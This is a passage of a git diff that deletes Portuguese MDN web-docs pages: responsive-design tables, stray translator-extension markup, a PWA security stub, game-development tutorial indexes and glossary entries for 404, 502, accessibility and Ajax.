- <td>Defines expressions allowing styling to be selectively applied to content depending on viewport size, resolution, orientation, etc.</td>
- <td>Widespread across modern browsers (<a href="/en-US/docs/Web/CSS/Media_Queries#Browser_compatibility">more detail</a>)</td>
- <td><a href="https://drafts.csswg.org/mediaqueries-4/">Media Queries Level 4</a></td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/CSS/@viewport">@viewport</a>/<a href="/en-US/docs/Mozilla/Mobile/Viewport_meta_tag">viewport meta tag</a></td>
- <td>Controls viewport settings, primarily on mobile devices.</td>
- <td>@viewport: Experimental (<a href="/en-US/docs/Web/CSS/@viewport#Browser_compatibility">more detail</a>)<br>
- Viewport meta tag: Widespread across modern mobile devices</td>
- <td><a href="https://drafts.csswg.org/css-device-adapt/#the-atviewport-rule">CSS Device Adaptation Module Level 1</a></td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox</a></td>
- <td>A very useful CSS feature for creating flexible, responsive layouts.</td>
- <td>Widespread across modern browsers (<a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout#Browser_compatibility">more detail</a>)</td>
- <td><a href="https://drafts.csswg.org/css-flexbox-1/">CSS Flexible Box Layout Module Level 1</a></td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Ferramentas">Ferramentas</h2>
-
-<dl>
- <dt><a href="https://modernizr.com/">Modernizr</a></dt>
- <dd>A feature detection library for applying different CSS and JS to your page depending on whether certain CSS/JS features are supported.</dd>
- <dt><a href="https://code.google.com/archive/p/css3-mediaqueries-js/">css3-mediaqueries-js</a></dt>
- <dd>A JavaScript polyfill to add Media Query support to old versions of IE (5+.)</dd>
-</dl>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Web/Apps/Modern/Responsive/Graphics_for_responsive_sites">Graphics for responsive sites</a></dt>
- <dd>Ideas to keep in mind when designing graphics for responsive sites and applications.</dd>
- <dt><a href="/en-US/docs/Web/Apps/Modern/Responsive/Responsive_navigation_patterns">Responsive navigation patterns</a></dt>
- <dd>How do you make a UI that looks and works as great on a smartphone as it does on the desktop? Learn how to design UIs that change to fit your user's screen.</dd>
-</dl>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 1; display: none; left: -8px; top: -25px;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody><tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
-</tbody></table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody><tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
-</tbody></table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/conflicting/web/progressive_web_apps_c5ce9d8c3500409dbf6f879e4fe3cb8a/index.html b/files/pt-pt/conflicting/web/progressive_web_apps_c5ce9d8c3500409dbf6f879e4fe3cb8a/index.html
deleted file mode 100644
index 62d49e8bc5..0000000000
--- a/files/pt-pt/conflicting/web/progressive_web_apps_c5ce9d8c3500409dbf6f879e4fe3cb8a/index.html
+++ /dev/null
@@ -1,36 +0,0 @@
----
-title: Segurança
-slug: conflicting/Web/Progressive_web_apps_c5ce9d8c3500409dbf6f879e4fe3cb8a
-tags:
- - Aplicações
- - Aplicações da Web modernas
- - Aplicações da Web progressivas
- - HTTPS
- - Segurança
- - Seguro
- - Web
-translation_of: Web/Progressive_web_apps
-translation_of_original: Web/Progressive_web_apps/Safe
-original_slug: Web/Progressive_web_apps/Seguro
----
-<div class="column-container summary">
-<div class="column-11">A plataforma da Web fornece um mecanismo de entrega seguro que evita a espionagem e garante que o conteúdo não foi adulterado - desde que aproveite o HTTPS e desenvolva as suas aplicações com a segurança em mente.</div>
-
-<div class="column-1"><img alt="" src="https://mdn.mozillademos.org/files/12664/safe.svg" style="height: 40px; width: 38px;"></div>
-</div>
-
-<h2 id="Guias_principais">Guias principais</h2>
-
-<p>Aidna sem guias principais listados. Contribuições são bem-vindas.</p>
-
-<h2 id="Tecnologias">Tecnologias</h2>
-
-<p>Não são necessárias novas tecnologias — a Web já funciona como isto!</p>
-
-<h2 id="Ferramentas">Ferramentas</h2>
-
-<p>Interligue aqui para quaisquer ferramentas úteis.</p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<p>Interligue aqui outra informação útil.</p>
diff --git a/files/pt-pt/games/index.html b/files/pt-pt/games/index.html
deleted file mode 100644
index 93a326cd83..0000000000
--- a/files/pt-pt/games/index.html
+++ /dev/null
@@ -1,91 +0,0 @@
----
-title: Desenvolvimento de Jogos
-slug: Games
-translation_of: Games
-original_slug: Jogos
----
-<div>{{GamesSidebar}}</div>
-
-<div class="summary">
-<p><span class="seoSummary">Gaming é uma das áreas mais populares das tecnologias computacionais. Novas ferramentas estão aparecendo constantemente, permitindo o desenvolvimento de jogos cada vez mais poderosos e eficientes, que podem ser executados em qualquer navegador que esteja dentro dos padrões da Web</span>.</p>
-</div>
-
-<div>{{EmbedGHLiveSample("web-tech-games/index.html", '100%', 820)}}</div>
-
-<div class="topicpage-table">
-<div class="section">
-<h2 id="Develop_web_games">Develop web games</h2>
-
-<p>Welcome to the MDN game development center! In this area of the site we provide resources for web developers wanting to develop games. You will find many useful tutorials and technique articles in the main menu on the left, so feel free to explore.</p>
-
-<p>We've also included a reference section so you can easily find information about all the most common APIs used in game development.</p>
-
-<div class="note"><strong>Note:</strong> Creating games on the web draws on a number of core web technologies such as HTML, CSS, and JavaScript. The <a href="/en-US/docs/Learn">Learning Area</a> is a good place to go to get started with the basics.</div>
-</div>
-
-<div class="section">
-<h2 id="Port_native_games_to_the_Web">Port native games to the Web</h2>
-
-<p>If you are a native developer (for example writing games in C++), and you are interested in how you can port your games over to the Web, you should learn more about our <a href="http://kripken.github.io/emscripten-site/index.html">Emscripten</a> tool — this is an LLVM to JavaScript compiler, which takes LLVM bytecode (e.g. generated from C/C++ using Clang, or from another language) and compiles that into <a href="/en-US/docs/Games/Tools/asm.js">asm.js</a>, which can be run on the Web.</p>
-
-<p>To get started, see:</p>
-
-<ul>
- <li><a href="http://kripken.github.io/emscripten-site/docs/introducing_emscripten/about_emscripten.html">About Emscripten</a> for an introduction including high-level details.</li>
- <li><a href="http://kripken.github.io/emscripten-site/docs/getting_started/downloads.html">Download and Install</a> for installing the toolchain.</li>
- <li><a href="http://kripken.github.io/emscripten-site/docs/getting_started/Tutorial.html">Emscripten Tutorial</a> for a tutorial to teach you how to get started.</li>
-</ul>
-</div>
-</div>
-
-<div class="topicpage-table">
-<div class="section">
-<h2 id="Examples">Examples</h2>
-
-<p>For a list of web game examples, see our <a href="/en-US/docs/Games/Examples">examples page</a>. Also check out <a href="https://games.mozilla.org/">games.mozilla.org</a> for more useful resources!</p>
-</div>
-</div>
-
-<h2 id="See_also">See also</h2>
-
-<div class="topicpage-table">
-<div class="section">
-<dl>
- <dt><a href="http://buildnewgames.com/">Build New Games</a></dt>
- <dd>A collaborative site featuring a large number of open web game development tutorials. Has not been very active recently, but still holds some nice resources.</dd>
- <dt><a href="http://creativejs.com/">Creative JS</a></dt>
- <dd>A collection of impressive JavaScript techniques and experiments, not specific to games, but helpful nonetheless. Has not been very active recently, but still holds some nice resources.</dd>
- <dt><a href="http://gameprogrammingpatterns.com/">Game programming patterns</a></dt>
- <dd>An online book, written by Bob Nystrom, which discusses programming patterns in the context of game development with the aim of helping game developers produce more effective and efficient code.</dd>
- <dt><a href="http://gamedevjsweekly.com/">Gamedev.js Weekly</a></dt>
- <dd>Weekly newsletter about HTML5 game development, sent every Friday. Contains the latest articles, tutorials, tools and resources.</dd>
- <dt><a href="http://www.html5gamedevs.com/">HTML5 Game Devs Forum</a></dt>
- <dd>Forums for developers, framework creators and publishers. Ask questions, get feedback and help others.</dd>
-</dl>
-</div>
-
-<div class="section">
-<dl>
- <dt><a href="http://html5gameengine.com/">HTML5 Game Engine</a></dt>
- <dd>List of the most popular HTML5 game frameworks along with their rating, features and samples.</dd>
- <dt><a href="http://www.jsbreakouts.org/">JSBreakouts</a></dt>
- <dd>Compare JavaScript Breakout clones in different frameworks to help you choose the right one for you.</dd>
- <dt><a href="http://gamedevelopment.tutsplus.com/">Tuts+ Game Development</a></dt>
- <dd>Tutorials and articles about game development in general.</dd>
- <dt><a href="http://html5devstarter.enclavegames.com/">HTML5 Gamedev Starter</a></dt>
- <dd>Starter for the new game developers, a curated list of links to various, useful resources around the web.</dd>
- <dt><a href="http://js13kgames.com/">js13kGames</a></dt>
- <dd>JavaScript coding competition for HTML5 game developers with the file size limit set to 13 kilobytes. All the submitted games are available in a readable form on GitHub.</dd>
- <dt><a href="https://hacks.mozilla.org/category/games/">Mozilla Hacks blog</a></dt>
- <dd>Games category on the Mozilla Hacks blog containing interesting gamedev related articles.</dd>
- <dt><a href="https://developer.mozilla.org/en-US/docs/Games/visual_typescript_game_engine">Visual TypeScript game engine</a></dt>
- <dd>TypeScript project based on matter.ts implementation. </dd>
-</dl>
-</div>
-</div>
-
-<h2 id="See_also_2">See also</h2>
-
-<ul>
- <li><a href="https://wiki.mozilla.org/Platform/Games">Games section on wiki.mozilla.org</a></li>
-</ul>
diff --git a/files/pt-pt/games/tutorials/2d_breakout_game_phaser/index.html b/files/pt-pt/games/tutorials/2d_breakout_game_phaser/index.html
deleted file mode 100644
index 5d539b7442..0000000000
--- a/files/pt-pt/games/tutorials/2d_breakout_game_phaser/index.html
+++ /dev/null
@@ -1,63 +0,0 @@
----
-title: 2D breakout game using Phaser
-slug: Games/Tutorials/2D_breakout_game_Phaser
-tags:
- - 2D
- - Beginner
- - Canvas
- - Games
- - JavaScript
- - NeedsTranslation
- - Phaser
- - TopicStub
- - Tutorial
-translation_of: Games/Tutorials/2D_breakout_game_Phaser
----
-<div>{{GamesSidebar}}</div><div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
-
-<p>{{Next("Games/Workflows/2D_Breakout_game_Phaser/Initialize_the_framework")}}</p>
-
-<p class="summary">In this step-by-step tutorial we create a simple mobile <strong>MDN Breakout</strong> game written in JavaScript, using the <a href="http://phaser.io/">Phaser</a> framework.</p>
-
-<p>Every step has editable, live samples available to play with so you can see what the intermediate stages should look like. You will learn the basics of using the Phaser framework to implement fundamental game mechanics like rendering and moving images, collision detection, control machanisms, framework-specific helper functions, animations and tweens, and winning and losing states.</p>
-
-<p>To get the most out of this series of articles you should already have basic to intermediate <a href="/en-US/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript</a> knowledge. After working through this tutorial you should be able to build your own simple Web games with Phaser.</p>
-
-<p><img alt="Gameplay screen from the game MDN Breakout created with Phaser where you can use your paddle to bounce the ball and destroy the brick field, with keeping the points and lives." src="https://mdn.mozillademos.org/files/11323/mdn-breakout-phaser.png" style="display: block; height: 320px; margin: 0px auto; width: 480px;"></p>
-
-<h2 id="Lesson_details">Lesson details</h2>
-
-<p>All the lessons — and the different versions of the <a href="https://end3r.github.io/Gamedev-Phaser-Content-Kit/demos/lesson16.html">MDN Breakout game</a> we are building together — are <a href="https://end3r.github.io/Gamedev-Phaser-Content-Kit/demos/">available on GitHub</a>:</p>
-
-<ol>
- <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Initialize_the_framework">Initialize the framework</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Scaling">Scaling</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Load_the_assets_and_print_them_on_screen">Load the assets and print them on screen</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Move_the_ball">Move the ball</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Physics">Physics</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Bounce_off_the_walls">Bounce off the walls</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Player_paddle_and_controls">Player paddle and controls</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Game_over">Game over</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Build_the_brick_field">Build the brick field</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Collision_detection">Collision detection</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/The_score">The score</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Win_the_game">Win the game</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Extra_lives">Extra lives</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Animations_and_tweens">Animations and tweens</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Buttons">Buttons</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Randomizing_gameplay">Randomizing gameplay</a></li>
-</ol>
-
-<p>As a note on learning paths — starting with pure JavaScript is the best way to get a solid knowledge of web game development. If you are not already familiar with pure JavaScript game development, we'd suggest that you first work through this series' counterpart, <a href="/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript">2D breakout game using pure JavaScript</a>.</p>
-
-<p>After that, you can pick any framework you like and use it for your projects; we've chosen Phaser as it is a good solid framework, with a good support and community available, and a good set of plugins. Frameworks speed up development time and help take care of the boring parts, allowing you to concentrate on the fun stuff. However, frameworks are not always perfect, so if something unexpected happens or you want to write some functionality that the framework doesn't provide, you'll need some pure JavaScript knowledge.</p>
-
-<div class="note">
-<p><strong>Note</strong>: This series of articles can be used as material for hands-on game development workshops. You can also make use of the <a href="https://github.com/end3r/Gamedev-Phaser-Content-Kit">Gamedev Phaser Content Kit</a> based on this tutorial if you want to give a talk about game development with Phaser.</p>
-</div>
-
-<h2 id="Next_steps">Next steps</h2>
-
-<p>Ok, let's get started! Head to the first part of the series — <a href="/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Initialize_the_framework">Initialize the framework</a>.</p>
-
-<p>{{Next("Games/Workflows/2D_Breakout_game_Phaser/Initialize_the_framework")}}</p>
diff --git a/files/pt-pt/games/tutorials/index.html b/files/pt-pt/games/tutorials/index.html
deleted file mode 100644
index bf6285b9cb..0000000000
--- a/files/pt-pt/games/tutorials/index.html
+++ /dev/null
@@ -1,26 +0,0 @@
----
-title: Tutoriais
-slug: Games/Tutorials
-tags:
- - Canvas
- - JavaScript
- - Jogos
- - Ritmos de Trabalho
- - Web
-translation_of: Games/Tutorials
-original_slug: Jogos/Tutoriais
----
-<div>{{GamesSidebar}}</div><div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
-
-<p>This page contains multiple tutorial series that highlight different workflows for effectively creating different types of web games.</p>
-
-<dl>
- <dt><a href="/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript">2D breakout game using pure JavaScript</a></dt>
- <dd>In this step-by-step tutorial you'll implement a simple breakout clone using pure JavaScript. Along the way you will learn the basics of using the {{htmlelement("canvas")}} element to implement fundamental game mechanics like rendering and moving images, collision detection, control machanisms, and winning and losing states.</dd>
- <dt><a href="/en-US/docs/Games/Workflows/2D_breakout_game_Phaser">2D breakout game using Phaser</a></dt>
- <dd>In this step-by-step tutorial you'll implement the same breakout clone as the previous tutorial series, except that this time you'll do it using the<a class="external external-icon" href="http://phaser.io/">Phaser</a> HTML5 game framework. This idea here is to teach some of the fundamentals (and advantages) of working with frameworks, along with fundamental game mechanics.</dd>
- <dt><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/HTML5_Gamedev_Phaser_Device_Orientation">2D maze game with device orientation</a></dt>
- <dd>This tutorial shows how to create a 2D maze game using HTML5, incorporating fundamentals such as collision detection and sprite placement on a {{htmlelement("canvas")}}. This is a mobile game that uses the <a href="/en-US/Apps/Build/gather_and_modify_data/responding_to_device_orientation_changes">Device Orientation</a> and <a href="/en-US/docs/Web/Guide/API/Vibration">Vibration</a><strong> APIs</strong> to enhance the gameplay and is built using the <a href="http://phaser.io/">Phaser</a> framework.</dd>
- <dt><a href="https://mozdevs.github.io/html5-games-workshop/en/guides/platformer/start-here/">2D platform game with Phaser</a></dt>
- <dd>This tutorial series shows how to create a simple platform game using <a href="http://phaser.io/">Phaser</a>, covering fundamentals such as sprites, collisions, physics, collectables, and more.</dd>
-</dl>
diff --git a/files/pt-pt/glossary/404/index.html b/files/pt-pt/glossary/404/index.html
deleted file mode 100644
index b91d747d61..0000000000
--- a/files/pt-pt/glossary/404/index.html
+++ /dev/null
@@ -1,19 +0,0 @@
----
-title: '404'
-slug: Glossary/404
-tags:
- - Erros HTTP
- - Glossário
- - Infraestrutura
- - Navegação
-translation_of: Glossary/404
-original_slug: Glossário/404
----
-<p>O 404 é um código de resposta padrão que significa que o {{Glossary("Server", "servidor")}} não consegue encontrar o recurso solicitado.</p>
-
-<h2 id="Saiba_mais">Saiba mais</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/HTTP/Status">Lista de códigos de resposta HTTP</a></li>
- <li><a href="https://developer.mozilla.org/en-US/Learn/Checking_that_your_web_site_is_working_properly">Conselhos para evitar erros 404</a></li>
-</ul>
diff --git a/files/pt-pt/glossary/502/index.html b/files/pt-pt/glossary/502/index.html
deleted file mode 100644
index f18df6cf19..0000000000
--- a/files/pt-pt/glossary/502/index.html
+++ /dev/null
@@ -1,24 +0,0 @@
----
-title: '502'
-slug: Glossary/502
-tags:
- - '502'
- - Bad Gateway
- - Errors HTTP
- - Glossário
- - Infraestrutura
- - Navegação
-translation_of: Glossary/502
-original_slug: Glossário/502
----
-<p>Um erro {{Glossary("HTTP")}} significando "<em>Bad Gateway</em>".</p>
-
-<p>Um {{Glossary("Server", "servidor")}} pode agir como um g<em>ateway</em> ou <em>proxy </em>(intermediário) entre um cliente (como o seu navegador da Web) e outro, servidor a montante. Quando  faz um pedido de acesso a uma {{Glossary("URL")}}, um servidor <em>gateway</em> pode transmitir o teu pedido ao servidor a montante. "502" significa que o servidor a montante devolveu uma resposta invalida.</p>
-
-<p>Tipicamente o servidor a montante não estará avariado (i.e. não devolve resposta ao  <em>gateway</em> /<em> proxy</em>), mas meramente não entende o protocolo de troca de dados da mesma forma que o servidor <em>gateway</em> / <em>proxy</em>. {{Glossary("Protocol", "Protocolos")}} da internet são bastante explícitos, e então um 502 deve ser sinal que um ou ambos os servidores estão incorretamente programados.</p>
-
-<h2 id="Aprenda_mais">Aprenda mais</h2>
-
-<ul>
- <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Response_codes">lista de códigos de respostas HTTP</a></li>
-</ul>
diff --git a/files/pt-pt/glossary/accessibility/index.html b/files/pt-pt/glossary/accessibility/index.html
deleted file mode 100644
index d9b4a45827..0000000000
--- a/files/pt-pt/glossary/accessibility/index.html
+++ /dev/null
@@ -1,33 +0,0 @@
----
-title: Acessibilidade
-slug: Glossary/Accessibility
-tags:
- - Acessibilidade
- - Glossário
-translation_of: Glossary/Accessibility
-original_slug: Glossário/Acessibilidade
----
-<p>A<em> Acessibilidade da Web </em>(<strong>A11Y</strong>)refere-se às melhores práticas para manter um site da Web utilizável, apesar das restrições físicas e técnicas. A acessibilidade da Web é formalmente definida e discutida no {{Glossary("W3C")}} através de {{Glossary("WAI","Web Accessibility Initiative")}} (WAI).</p>
-
-<h2 id="Saber_mais">Saber mais</h2>
-
-<h3 id="Conhecimento_geral">Conhecimento geral</h3>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/Acessibilidade">Recursos de Acessibilidade na MDN</a></li>
- <li>{{Interwiki("wikipedia", "Acessibilidade web ")}} na Wikipédia</li>
-</ul>
-
-<h3 id="Aprender_sobre_a_acessibilidade_da_Web">Aprender sobre a acessibilidade da <em>Web</em></h3>
-
-<ul>
- <li><a href="http://webaim.org/" rel="external">Acessibilidade da Web em Mente</a></li>
-</ul>
-
-<h3 id="Referência_técnica">Referência técnica</h3>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/Acessibilidade/ARIA">Documentação de ARIA na MDN</a></li>
- <li><a href="http://www.w3.org/WAI/" rel="external">A página principal de Web Accessibility Initiative</a></li>
- <li><a href="http://www.w3.org/TR/wai-aria/" rel="external">A recomendação WAI-ARIA</a></li>
-</ul>
diff --git a/files/pt-pt/glossary/ajax/index.html b/files/pt-pt/glossary/ajax/index.html
deleted file mode 100644
index 9f5e77c3b8..0000000000
--- a/files/pt-pt/glossary/ajax/index.html
+++ /dev/null
@@ -1,35 +0,0 @@
----
-title: Ajax
-slug: Glossary/AJAX
-tags:
- - AJAX
- - CodingScripting
- - Glossário
- - I10n:priority
- - Infraestrutura
-translation_of: Glossary/AJAX
-original_slug: Glossário/AJAX
----
-<p><span class="seoSummary"><strong>Ajax</strong>, que inicialmente significava <em>Asynchronous JavaScript And XML</em> (em português {{Glossary("JavaScript")}} e {{Glossary("XML")}} <span lang="pt">Assíncrono</span>), é uma prática de programação de construção de páginas web complexas e dinâmicas utilizando uma tecnologia conhecida como {{Glossary("XHR_(XMLHttpRequest)","XMLHttpRequest")}}.</span></p>
-
-<p>Ajax permite actualizar partes do {{Glossary("DOM")}} de uma página {{Glossary("HTML")}} sem a necessidade de uma actualização completa da página. Ajax também lhe permite trabalhar de forma assíncrona, o que significa que o seu código continua a correr enquanto a parte alvo da sua página web está a tentar recarregar (em comparação a trabalhar de forma síncrona, que impede o código de executar até que essa parte da sua página seja recarregada).</p>
-
